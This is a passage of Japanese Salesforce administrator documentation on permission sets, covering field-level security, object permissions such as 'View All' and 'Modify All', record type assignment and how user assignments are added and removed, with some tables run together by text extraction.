関連トピック:

権限セット
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権限セットでのアプリケーションおよびシステムの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットの権限と設定は、アプリケーションおよびシステムカテゴリに整理
されます。これらのカテゴリには、システムおよびアプリケーションリソース
を管理および使用するためにユーザに必要な権限が反映されます。

アプリケーション設定
アプリケーションは一連のタブで構成され、ユーザがヘッダーのドロップダウ
ンメニューを選択して変更できます。どのアプリケーションを選択しても、基
礎となるオブジェクト、コンポーネント、データ、および設定はすべて同じで
す。アプリケーションを選択するとき、ユーザは一連のタブを移動することで
基礎となる機能を効率よく使用してアプリケーション固有のタスクを実行でき
ます。たとえば、ほとんどの作業を、[取引先] や [商談] のようなタブが含まれる
営業アプリケーションで行うとします。新しいマーケティングキャンペーンを
追跡するには、[キャンペーン] タブを営業アプリケーションに追加するのではな
く、アプリケーションドロップダウンから [マーケティング] を選択してキャン
ペーンとキャンペーンメンバーを参照します。
権限セット概要ページの [アプリケーション] セクションには、アプリケーションで実現されるビジネスプロセ
スに直接関連付けられた設定が含まれます。たとえば、カスタマーサービスエージェントはケースを管理する
必要があるため、「ケースの管理」権限は、[アプリケーション権限] ページの [コールセンター] セクションに
あります。アプリケーション設定には、アプリケーション権限に関連していないものもあります。たとえば、
AppExchange から休暇管理アプリケーションを有効にするには、ユーザには該当する Apex クラスと Visualforce

ページへのアクセス権と、新しい休暇要求を作成するためのオブジェクト権限および項目権限が必要です。

システム設定
一部のシステムの機能は、組織に適用され、単独のアプリケーションには適用されません。たとえば、「設
定・定義を参照する」では設定および管理設定ページを参照できます。その他のシステム機能はすべてのアプ
リケーションに適用されます。たとえば、「レポート実行」または「ダッシュボードの管理」権限は、管理者
がすべてのアプリケーションでレポートを作成および管理できるようにします。場合によっては、「すべての
データの編集」のように、権限はすべてのアプリケーションだけでなく、データローダのダウンロード機能な
ど、アプリケーション以外の機能にも適用されます。

関連トピック:

権限セット
権限セットライセンスとは?
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権限セットの検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを検索する
• 「設定・定義を参照す

る」

権限セットの別のページにすばやく移動するには、権限セットの詳細ページで
検索語を入力します。
いずれかの権限セットの詳細ページで、 [設定の検索...] ボックスにオブジェ
クト、設定、または権限の名前から連続して 3 文字以上を入力します。検索語
では、大文字と小文字は区別されません。入力すると、検索語に一致する結果
の提案がリストに表示されます。リストの項目をクリックするとその設定ペー
ジに移動します。
一部のカテゴリでは、特定の権限または設定の名前を検索できます。他のカテ
ゴリでは、カテゴリの名前ほ検索します。

例検索項目

[設定の検索] ボックスに「セールス」
と入力し、リストから [セールス] を
選択します。

アプリケーション
名

割り当てられたア
プリケーション

Albums カスタムオブジェクトがあると
します。「albu」と入力し、
[Albums] を選択します。

オブジェクト名オブジェクト

Description 項目を含む Albums オブジェ
クトがあるとします。Albums の [説明]

親オブジェクト名• 項目
• レコードタイ

プ 項目を検索するには、「albu」と入力
し、[Albums] を選択し、[項目権限]

で [説明] までスクロールします。

「レポー」と入力し、[レポート]を選
択します。

タブまたは親オブ
ジェクト名

タブ

「api」と入力し、[API の有効化]を
選択します。

権限名アプリケーション
権限およびシステ
ム権限

Apexクラスのアクセス設定を検索する
には、「apex」と入力し、[Apex ク

カテゴリ名他のすべてのカテ
ゴリ

ラスアクセス] を選択します。カスタ
ム権限を検索するには、「cust」と入
力し、[カスタム権限]を選択します。
他のカテゴリについても同じです。

結果が返されなくても心配はいりません。次のヒントを参考にしてください。
• オブジェクト、設定、または権限名に一致する連続する 3 文字以上が検索語に含まれていることを確認し

ます。
• 検索対象の権限、オブジェクト、設定が、現在の Salesforce 組織では使用できない可能性があります。
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• 検索対象の項目が、現在の権限セットに関連付けられているユーザライセンスでは使用できない可能性が
あります。たとえば、標準 Platform ユーザライセンスに関連する権限セットには、「すべてのデータの編
集」権限は含まれません。

• 権限セットに関連付けられた権限セットライセンスに、検索しているオブジェクト、設定、または権限名
が含まれていません。

関連トピック:

権限セット

権限セットでの割り当てられたアプリケーションの参照と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

割り当てられたアプリ
ケーション設定を編集す
る
• 「プロファイルと権限

セットの管理」

割り当てられたアプリケーション設定では、Force.comアプリケーションメニュー
で選択できるアプリケーションを指定します。
プロファイルとは異なり、権限セットではデフォルトのアプリケーションを割
り当てることはできません。アプリケーションを表示するかどうかのみを指定
できます。
アプリケーションを割り当てる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで、[割り当てられたアプリケーション] をクリック

します。
4. [編集] をクリックします。
5. アプリケーションを割り当てるには、[選択可能なアプリケーション] リスト

でアプリケーションを選択してから [追加] をクリックします。権限セットか
らアプリケーションを削除するには、[選択可能なアプリケーション] リスト
でアプリケーションを選択してから [削除] をクリックします。

6. [保存] をクリックします。

関連トピック:

権限セット
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権限セットでのカスタムレコードタイプの割り当て

エディション

使用可能なエディション:
Salesforce Classic

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットでレコードタ
イプを割り当てる
• 「プロファイルと権限

セットの管理」

1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択します。

2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで [オブジェクト設定] をクリックし、目的のオブ

ジェクトをクリックします。
4. [編集] をクリックします。
5. この権限セットに割り当てるレコードタイプを選択します。
6. [保存] をクリックします。

関連トピック:

レコードタイプへのアクセスの指定方法

レコードタイプへのアクセスの指定方法

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロファイルまたは権限セットあるいはその両方の組み合わせで、ユーザにレ
コードタイプを割り当てることができます。レコードタイプの割り当ては、プ
ロファイルと権限セットでは動作が異なります。
• ユーザのデフォルトのレコードタイプは、ユーザの個人設定で指定されま

す。デフォルトのレコードタイプを権限セットで指定することはできませ
ん。

• プロファイルでは [--マスタ--] レコードタイプを割り当てることができま
す。権限セットで割り当てることができるのは、カスタムレコードタイプの
みです。レコード作成の動作は、プロファイルと権限セットでどのレコード
タイプが割り当てられるかによって異なります。

レコード作成時の動作ユーザの権限セット内の
カスタムレコードタイプ
の合計数

ユーザのプロファイルに
存在するレコードタイプ

新規レコードはマスタレ
コードタイプに関連付け
られます。

なし--マスタ--

新規レコードはカスタム
レコードタイプに関連付

1--マスタ--

けられます。ユーザはマ
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レコード作成時の動作ユーザの権限セット内のカスタム
レコードタイプの合計数

ユーザのプロファイルに存在する
レコードタイプ

スタレコードタイプを選択できま
せん。

ユーザはレコードタイプの選択を
求められます。

複数--マスタ--

ユーザはレコードタイプの選択を
求められます。個人設定では、

1 つ以上カスタム

ユーザのデフォルトのレコードタ
イプを使用するオプションを設定
し、レコードタイプの選択を求め
られないようにできます。

• ページレイアウトの割り当てはプロファイルでのみ指定でき、権限セットでは使用できません。権限セッ
トでカスタムレコードタイプを割り当てると、その権限セットを持つユーザには、プロファイルでそのレ
コードタイプに指定されたページレイアウトの割り当てが付与されます (プロファイルでは、ページレイア
ウトの割り当ては、レコードタイプが割り当てられていなくても、すべてのレコードタイプに対して指定
されます)。

• リード変換では、ユーザのプロファイルで指定されたデフォルトのレコードタイプが、変換後のレコード
に使用されます。

• ユーザは、任意のレコードタイプに割り当てられたレコードを参照できます。このため、ページレイアウ
トは、ユーザのプロファイルですべてのレコードタイプに割り当てられます。ユーザのプロファイルまた
は権限セットでのレコードタイプの割り当てでは、ユーザがそのレコードタイプのレコードを参照できる
かどうかは決まりません。レコードタイプの割り当ては、単にユーザがレコードを作成または編集すると
きにそのレコードタイプを使用できることを指定します。

• 権限セットでのレコードタイプは、パッケージおよび変更セットではサポートされていません。このため、
Sandbox 組織の権限セットでのレコードタイプの割り当ては、本番組織で手動で再現する必要があります。

関連トピック:

拡張プロファイルユーザインターフェースでのレコードタイプとページレイアウトの割り当て
元のプロファイルユーザインターフェースでのプロファイルへのレコードタイプの割り当て
権限セットでのカスタムレコードタイプの割り当て
元のプロファイルユーザインターフェースでのページレイアウトの割り当て
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権限セットでのカスタム権限の有効化

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Group Edition および
Professional Edition 組織で
は、カスタム権限の作
成、編集は実行できませ
んが、管理パッケージの
一部としてカスタム権限
をインストールできま
す。

ユーザ権限

権限セットでカスタム権
限を有効にする
• 「プロファイルと権限

セットの管理」

カスタム権限により、カスタムプロセスまたはカスタムアプリケーションへの
アクセス権を付与できます。カスタム権限を作成してプロセスまたはアプリケー
ションに関連付けたら、権限セットでその権限を有効化できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択するか、新規で作成します。
3. 権限セットの概要ページで、[カスタム権限] をクリックします。
4. [編集] をクリックします。
5. カスタム権限を有効にするには、[利用可能なカスタム権限] リストで権限を

選択し、[追加] をクリックします。権限セットからカスタム権限を削除する
には、[有効化されたカスタム権限] リストでアプリケーションを選択してか
ら [削除] をクリックします。

6. [保存] をクリックします

関連トピック:

カスタム権限

権限セットの割り当ての管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザの詳細ページから 1 人のユーザに権限セットを割り当てることや、任意
の権限セットページから複数のユーザに権限セットを割り当てることができま
す。
• 1 人のユーザへの権限セットの割り当て
• 複数ユーザへの権限セットの割り当て
• 権限セットからのユーザ割り当ての削除

620

プロファイルSalesforce 組織の設定および管理



権限セットの [割り当てられたユーザ] ページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットに割り当てら
れたユーザを参照する
• 「設定・定義を参照す

る」

[割り当てられたユーザ] ページから、権限セットに割り当てられたすべてのユー
ザを表示することや、その他のユーザを割り当てること、ユーザ割り当てを削
除することができます。
権限セットに割り当てられたすべてのユーザを表示するには、権限セットペー
ジから [割り当ての管理] をクリックします。[割り当てられたユーザ] ページで
は、次の操作を実行できます。
• ユーザを権限セットに割り当てる
• 権限セットからユーザ割り当てを削除する
• ユーザを編集する
• 名前、別名、またはユーザ名をクリックしてユーザの詳細ページを参照する
• プロファイル名をクリックしてプロファイルを表示する

関連トピック:

1 人のユーザへの権限セットの割り当て

1 人のユーザへの権限セットの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットを割り当てる
• 「権限セットの割り当

て」

ユーザの詳細ページから、1 人のユーザに権限セットを割り当てることや、権限
セットの割り当てを削除することができます。
[権限セットの割り当て] ページには、次の権限セットが表示されます。
• 関連するライセンスのない権限セット。たとえば、権限セットのライセンス

の種類に [なし]が選択されている場合、その権限セットを割り当てることが
できます。権限セットで有効化されるすべての設定と権限がユーザのライセ
ンスで許可されることを確認します。選択された権限がユーザのライセンス
で許可されない場合、割り当ては失敗します。

• ユーザのライセンスと一致する権限セット。たとえば、ユーザのライセンス
が Chatter Only である場合、Chatter Only ライセンスを持つ権限セットを割り当
てることができます。

• 権限セットライセンスに固有の権限セット。「Identity: Finance」という名前の
権限セットを作成して、その権限セットを「Identity Connect」権限セットライ
センスに関連付けたとします。ユーザを「Identity: Finance」権限に割り当てる
と、ユーザは Identity Connect 権限セットライセンスで使用可能なすべての機
能を利用できるようになります。

メモ: 権限の中には、権限を付与する前に、ユーザが権限セットライセン
スを所有していることが要求されるものがあります。たとえば、「Identity

Connect を使用」ユーザ権限を「Identity」権限セットに追加する場合は、
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Identity Connect 権限セットライセンスを持つユーザのみを権限セットに割り当てることができます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
2. ユーザを選択します。
3. [権限セットの割り当て] 関連リストで、[割り当ての編集] をクリックします。
4. 権限セットを割り当てるには、[選択可能な権限セット] で権限セットを選択して[追加]をクリックします。

権限セットの割り当てを削除するには、[有効な権限セット] から権限セットを選択して [削除] をクリック
します。

5. [保存] をクリックします。

ヒント: この操作および他の管理タスクは、SalesforceA モバイルアプリケーションから実行できます。

関連トピック:

複数ユーザへの権限セットの割り当て
Standard Permission Set

SalesforceA を使用したあらゆる場所からのユーザサポート
権限セットでのユーザライセンスと権限セットライセンス
複数ユーザへの権限セットの割り当て

複数ユーザへの権限セットの割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

任意の権限セットページから、権限セットを 1 人以上のユーザに割り当てるこ
とができます。
•

段階的な手順: 権限セットを割り当てる

関連トピック:

権限セットからのユーザ割り当ての削除
1 人のユーザへの権限セットの割り当て
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権限セットからのユーザ割り当ての削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

権限セットの割り当てを
削除する
• 「権限セットの割り当

て」

任意の権限セットページで、1 人以上のユーザから権限セットの割り当てを削除
できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 権限セットを選択します。
3. [権限セット] ツールバーで、[割り当ての管理] をクリックします。
4. この権限セットから削除するユーザを選択します。

1 回に最大 1000 人のユーザを削除できます。
5. [割り当てを削除] をクリックします。

このボタンは、1 人以上のユーザが選択されている場合にのみ使用できます。
6. 権限セットに割り当てられているすべてのユーザのリストに戻るには、[完

了] をクリックします。

関連トピック:

複数ユーザへの権限セットの割り当て

権限とアクセス権の無効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

プロファイルと権限セットを使用して、アクセス権を付与できますが、アクセ
ス拒否を設定することはできません。プロファイルまたは権限セットのいずれ
かで許可された権限が優先されます。たとえば、Jane Smith のプロファイルで「所
有権の移行」が有効化されていなくても、Jane の権限セットの 2 つで有効化され
ている場合、所有しているかどうかに関係なく、所有権を移行できます。権限
を無効にするには、ユーザから権限のすべてのインスタンスを削除する必要が
あります。これは、次のアクションで実行できます。アクションごとに起こり
うる結果を示します。

結果アクション

プロファイルまたは権限セットに割り
当てられている他のすべてのユーザの
権限またはアクセス設定が無効化され
ます。

権限を無効化する、またはプロファイ
ルのアクセス設定とユーザに割り当て
られているすべての権限セットを削除
します。

ユーザは、プロファイルまたは権限
セットに関連付けられている他の権限

ユーザプロファイルで、権限またはア
クセス設定が有効化されている場合、

またはアクセス設定を失う可能性があ
ります。

ユーザに別のプロファイルを割り当て
ます。
および
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結果アクション

ユーザに割り当てられている権限セットで、権限また
はアクセス設定が有効化されている場合、ユーザのそ
の権限セットの割り当てを削除します。

いずれの場合も結果を解決するには、すべての選択肢を検討します。たとえば、権限またはアクセス設定が有
効化されている、割り当てられたプロファイルまたは割り当てられている権限セットをコピーできます。次
に、権限またはアクセス設定を無効化して、コピーしたプロファイルまたは権限セットをユーザに割り当てま
す。もう 1 つの方法として、できるだけ多くのユーザを表せるように最小限の権限と設定を含む基本プロファ
イルを作成します。次に、権限セットを作成して他のアクセス権を追加していきます。

関連トピック:

ユーザ権限およびアクセス
段階的な手順: 権限セットを作成、編集、および割り当てる
1 人のユーザへの権限セットの割り当て

項目へのアクセスはどのように決まるのですか?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ページレイアウトは、
Database.com Edition では
利用できません。

ユーザによる Salesforce の特定の項目の表示と編集が可能であるかどうかは、さ
まざまな要素によって制御されます。レコードタイプ、ユーザ、または項目レ
ベルで項目へのユーザアクセスを制御できます。
• ページレイアウト — 特定のレコードタイプの項目が参照可能、必須、編集

可能、または参照のみであるかを設定します。
• 項目レベルセキュリティ — どの項目が参照可能、編集可能、または参照の

みであるかを設定することで、項目に対するユーザのアクセス権をさらに制
限します。項目レベルセキュリティの設定のほうがページレイアウトで設定
された項目のプロパティよりも厳しい場合、前者の設定が後者の設定に優先
します。

• 権限 — ユーザ権限のなかには、ページレイアウトの設定と項目レベルセキュ
リティの設定より優先されるものがあります。たとえば、「参照のみ項目の
編集」権限を持っているユーザは、他のどの設定にも関係なく常に参照のみ
項目を編集できます。

• 必須項目 — カスタム項目を必須にして、項目レベルセキュリティやページ
レイアウトの制限の緩い設定を上書きします。

これらの項目を設定した後、項目アクセス許可一覧表を使用して、特定の項目に対するユーザのアクセス権を
確認できます。

関連トピック:

項目のアクセス設定の変更
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特定の項目に対するアクセス権の検証

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目のアクセス権を表示
する
• 「設定・定義を参照す

る」

項目へのアクセス権が制限されているかどうか、どのレベル (レコードタイプ、
ユーザプロファイル、項目) で制限されているかを確認します。
1. 該当するオブジェクトの項目エリアに移動します。

• [ナレッジ検証状況] 選択リスト値の場合は、[設定] から、[クイック検索]

ボックスに「検証状況」と入力し、[入力規則の状況] を選択します。

2. 項目を選択し、[項目アクセス許可の参照] をクリックします。
3. プロファイルとレコードタイプに対する項目アクセス許可が適切であること

を確認します。
4. 項目のアクセス設定の上にカーソルを置いて、ページレイアウトまたは項目

レベルセキュリティによって項目が必須、編集可能、非表示、参照のみのい
ずれであるかを確認します。

5. いずれかの項目のアクセス設定をクリックして変更します。
特定のプロファイル、レコードタイプ、または項目によって項目アクセス許可
を検証するには、[設定] から、[クイック検索] ボックスに「項目アクセス許可」
と入力し、[項目アクセス許可]を選択します。表示されたページで、表示する特
定のタブを選択してからアクセス権をチェックする種別 (プロファイル別、レ
コードタイプ別、または項目別) を選択します。

メモ: このユーザインターフェースでは、権限セットのアクセス権はチェッ
クできません。

関連トピック:

項目へのアクセスはどのように決まるのですか?
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項目のアクセス設定の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目のアクセス権を表示
する
• 「設定・定義を参照す

る」

項目のアクセス権を変更
する
• 「アプリケーションの

カスタマイズ」

および

「プロファイルと権限
セットの管理」

項目アクセス許可一覧表で項目アクセス設定をクリックすると、ページレイア
ウトまたは項目レベルセキュリティに設定された項目アクセス許可を変更でき
ます。アクセス設定ページで、項目のアクセス設定を変更できます。
• ページ内の [項目レベルセキュリティ] セクションで、プロファイルの項目の

アクセスレベルを指定します。

有効化された設定アクセスレベル

参照可能ユーザは項目を参照し、編集できる。

[参照可能] と [参照のみ]ユーザは項目を参照できるが編集で
きない。

なしユーザは項目の参照、編集ができな
い。

項目へのアクセスを制御するために複数のページレイアウトを作成するので
はなく、項目レベルセキュリティを使用してユーザの項目へのアクセスを制
御することをお勧めします。

• ページの [ページレイアウト] セクションでは、次の操作を実行できます。
– [アクセス許可設定を変更する]を選択し、ページレイアウトの項目アクセ

スプロパティを変更します。この変更は、該当するページレイアウトを
現在使用しているすべてのプロファイルとレコードタイプの組み合わせ
に影響します。

– または、[他のページレイアウトを割り当てる]を選択し、プロファイルと
レコードタイプの組み合わせに別のページレイアウトを割り当てます。

関連トピック:

項目へのアクセスはどのように決まるのですか?
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項目レベルセキュリティ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

項目レベルセキュリティを設定して、特定の項目を参照および編集するユーザ
のアクセス権限を制限できます。
Salesforce 組織には多くのデータが含まれていますが、すべてのユーザが全部の
項目にアクセスできるようにする必要はありません。たとえば、給与担当マネー
ジャは、給与の項目にアクセスできる従業員を限定するでしょう。ユーザアク
セスは次の場所で制限できます。
• 詳細ページと編集ページ
• 関連リスト
• リストビュー
• レポート
• Connect Offline

• メールと差し込み印刷テンプレート
• カスタムリンク
• パートナーポータル
• Salesforce カスタマーポータル
• 同期済みデータ
• インポート済みデータ
ユーザに対して表示される詳細ページと編集ページの項目は、ページレイアウトと項目レベルセキュリティ設
定を組み合わせたものです。この 2 つの設定のうち、制限が厳しい方のアクセス設定が項目に適用されます。
たとえば、ページレイアウトでは必須だが、項目レベルセキュリティ設定では参照のみになっている項目があ
るとします。項目レベルセキュリティによってページレイアウトは上書きされるため、この項目は参照のみに
なります。

重要: 項目レベルセキュリティでは、項目内の値の検索を制限できません。検索語が項目レベルのセキュ
リティで保護された項目値と一致する場合、関連付けられたレコードは、保護された項目およびその値
なしで検索結果に返されます。

項目レベルセキュリティは、次のいずれかの方法で定義できます。
• 1 つの権限セットまたはプロファイルの複数の項目の場合
• すべてのプロファイルの 1 つの項目の場合
項目レベルセキュリティを設定すると、次の操作を実行できます。
• ページレイアウトを作成して、詳細ページと編集ページに表示される項目を構成する。
• 項目へのユーザのアクセス権を項目アクセス許可を見て確認する。
• 検索レイアウトをカスタマイズして、検索結果、ルックアップダイアログの検索結果、およびタブのホー

ムページの主要リストに表示される項目を設定する。
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メモ: 積み上げ集計項目と数式項目は、詳細ページでは参照のみであり、編集ページにはありません。こ
れらの項目は、ユーザが参照できない項目を参照しますが、ユーザに表示することもできます。必須項
目は、項目レベルセキュリティに関係なく編集ページに表示されます。
リレーショングループウィザードでは、項目レベルセキュリティに関係なくリレーショングループの作
成や編集ができます。

権限セットとプロファイルでの項目権限の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

項目権限によって、オブジェクトの各項目へのアクセス権が指定されます。
1. [設定] から、次のいずれかの操作を実行します。

• [クイック検索]ボックスに「権限セット」と入力し、[権限セット]を選択
する

• [クイック検索]ボックスに「プロファイル」と入力し、[プロファイル]を
選択する

2. 権限セットまたはプロファイルを選択します。
3. 使用しているインターフェースに応じて、次のいずれかの操作を実行しま

す。
• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検

索...] ボックスに、必要なオブジェクトの名前を入力し、リストからその
オブジェクトを選択します。[編集]をクリックし、[項目権限] セクション
にスクロールします。

• 元のプロファイルユーザインターフェース — [項目レベルセキュリティ]

セクションで、変更するオブジェクトの横にある [表示] をクリックして
から、[編集] をクリックします。

4. 項目のアクセスレベルを指定します。
5. [保存] をクリックします。
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すべてのプロファイルの単一項目の項目レベルセキュリティの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

項目レベルセキュリティ
を設定する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

1. 項目のオブジェクトの管理設定から、項目領域に移動します。
2. 変更する項目を選択します。
3. [項目アクセス許可の参照] をクリックします。
4. 項目のアクセスレベルを指定します。

ユーザ権限
エディション

使用可能なエディション:
Salesforce Classic

使用できるユーザ権限
は、使用しているエディ
ションによって異なりま
す。

ユーザ権限によって、ユーザが実行できるタスクとユーザがアクセスできる機
能が指定されます。たとえば、「設定・定義を参照する」権限を持つユーザは
[設定] ページを表示でき、「API の有効化」権限を持つユーザはすべてのSalesforce

API にアクセスできます。
ユーザ権限は、権限セットおよびカスタムプロファイルで有効にできます。権
限セットおよび拡張プロファイルユーザインターフェースでは、これらの権限
とその説明が [アプリケーション権限] または [システム権限] ページに一覧表示
されます。元のプロファイルユーザインターフェースでは、ユーザ権限が [シス
テム管理者権限] および [一般ユーザ権限] ページに一覧表示されます。
権限とその説明を表示するには、[設定] から、[クイック検索]ボックスに「権限
セット」と入力し、[権限セット] を選択して、権限セットを選択または作成します。次に、[権限セット概要]

ページから [アプリケーション権限] または [システム権限] をクリックします。

関連トピック:

プロファイル
権限セット
標準プロファイル
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オブジェクトの権限
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

オブジェクトの権限は、ユーザが各オブジェクトのレコードを作成、参照、編
集、および削除するために必要な基本レベルのアクセス権限を指定します。権
限セットおよびプロファイルでオブジェクト権限を管理できます。
オブジェクト権限には、共有ルールと共有設定を遵守するものと上書きするも
のがあります。次の権限は、オブジェクトに対するアクセス権限を指定します。

共有の遵守と上書
き

説明権限

共有の遵守このレコードタイプの参照のみが許可
されます。

参照

共有の遵守レコードの参照と作成が許可されま
す。

作成

共有の遵守レコードの参照と更新が許可されま
す。

編集

共有の遵守レコードの参照、編集、および削除が
許可されます。

削除

共有の上書き共有設定に関係なく、このオブジェク
トに関連付けられたすべてのレコード
の表示が許可されます。

すべて表示
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共有の遵守と上書き説明権限

共有の上書き共有設定に関係なく、このオブジェクトに関連付けら
れたすべてのレコードの参照、編集、削除、転送、承
認が許可されます。

すべて変更

メモ: ドキュメントの「すべての編集」権限が
あればすべての共有フォルダと公開フォルダに
アクセスできますが、フォルダのプロパティの
編集や新規のフォルダの作成は行えません。フォ
ルダのプロパティの編集および新規フォルダの
作成を行うには、「公開ドキュメントの管理」
権限が必要です。

関連トピック:

「すべての参照」および「すべての編集」権限の概要
セキュリティモデルの比較
項目権限

「すべての参照」および「すべての編集」権限の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

「すべての参照」および「すべての編集」権限を使用すると、共有ルールおよ
び共有設定は無視されます。これにより、システム管理者は、組織内の特定の
オブジェクトに関連付けられたレコードに対してアクセス権を許可できます。
「すべての参照」および「すべての編集」を、「すべてのデータの参照」およ
び「すべてのデータの編集」権限の代わりに使用することもできます。
この権限のタイプ間には次の違いがあります。

この権限を必要とするユーザ使用目的権限

特定のオブジェクトのレコー
ドを管理する代理管理者

オブジェクト権限の代行すべて表示
すべて変更

組織全体の管理者組織のすべてのデータの管理、
たとえば、データの整理、重

すべてのデー
タの参照
すべてのデー
タの編集

複の排除、一括削除、一括移
行、レコード承認の管理など

組織内のすべてのユーザを参
照するユーザ (特に、ユーザオ

組織内のすべてのユーザの参
照。すべてのユーザに対する

すべてのユー
ザの参照

ブジェクトに対する組織の共参照アクセス権が付与される
有設定が [非公開] になっていため、全ユーザのレコードの
る場合) 「ユーザの管理」権限詳細を表示でき、また全ユー
のあるシステム管理者には、
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この権限を必要とするユーザ使用目的権限

「すべてのユーザの参照」権限が自動的に
付与されます。

ザが検索やリストビューなどの対象になり
ます。

アイデア、価格表、記事タイプ、商品に対する「すべての参照」および「すべての編集」権限を持つことはで
きません。
「すべての参照」および「すべての編集」は、オブジェクト権限のみの代行を許可します。ユーザ管理および
カスタムオブジェクト管理の任務を委任するため、代理管理者を定義します。
「すべてのユーザの参照」は、組織内のユーザ表示を制御するユーザ共有が組織に設定されている場合に利用
できます。ユーザ共有についての詳細は、「ユーザ共有」を参照してください。

関連トピック:

オブジェクトの権限

セキュリティモデルの比較

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce のユーザセキュリティは、共有と、ユーザおよびオブジェクト権限の
組み合わせによって実現されます。エンドユーザレコードレベルのアクセス権
など、一部のケースでは、共有を使用してレコードに対するアクセス権を与え
たほうが便利です。一方、データのレコード管理 ToDo (レコードの転送、データ
の整理、重複するレコードの排除、レコードの一括削除など) やワークフロー承
認プロセスを委任する場合は、共有を上書きして、権限を使用してレコードに
対するアクセス権を与えたほうが便利です。
「参照」、「作成」、「編集」、「削除」の各権限が共有設定を遵守します。
これにより、レコードレベルでデータへのアクセスを制御します。「すべての
参照」および「すべての編集」権限は、指定オブジェクトの共有設定を無効に
します。また、「すべてのデータの参照」および「すべてのデータの編集」権
限は、すべてのオブジェクトの共有設定を無効にします。
次の表は、2 つのセキュリティモデルの違いを説明したものです。

共有を無効にする権限共有を遵守する権限

データの代理管理者エンドユーザ対象利用者

「すべての参照」および「すべて
の編集」

「参照」、「作成」、「編集」、
および「削除」オブジェクト権限
共有設定
